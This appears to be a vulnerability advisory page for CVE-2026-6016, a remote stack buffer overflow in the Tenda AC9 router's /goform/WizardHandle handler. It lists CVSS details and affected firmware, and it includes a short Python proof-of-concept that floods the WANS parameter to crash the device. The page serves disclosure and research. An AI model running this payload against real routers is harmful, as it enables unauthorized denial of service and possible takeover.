Security Vulnerability Report
中文
CVE-2026-6016 CVSS 8.8 HIGH

CVE-2026-6016

Published: 2026-04-10 06:16:07
Last Modified: 2026-04-30 13:59:44

Description

A vulnerability was found in Tenda AC9 15.03.02.13. The affected element is the function decodePwd of the file /goform/WizardHandle of the component POST Request Handler. Performing a manipulation of the argument WANS results in stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac9_firmware:15.03.02.13:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac9:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC9 15.03.02.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/WizardHandle" # Constructing the malicious payload # The vulnerability is triggered by a long 'WANS' parameter # Buffer size is limited, sending excessive data causes the overflow buffer_size = 1000 payload = "A" * buffer_size # Data to be sent in the POST request post_data = { "WANS": payload } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=post_data, timeout=5) # Check if the target responds (often crashes or hangs on successful overflow) if response.status_code == 200: print("Request sent, check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Connection error (device may have crashed): {e}")

References

Raw JSON Data

JSON
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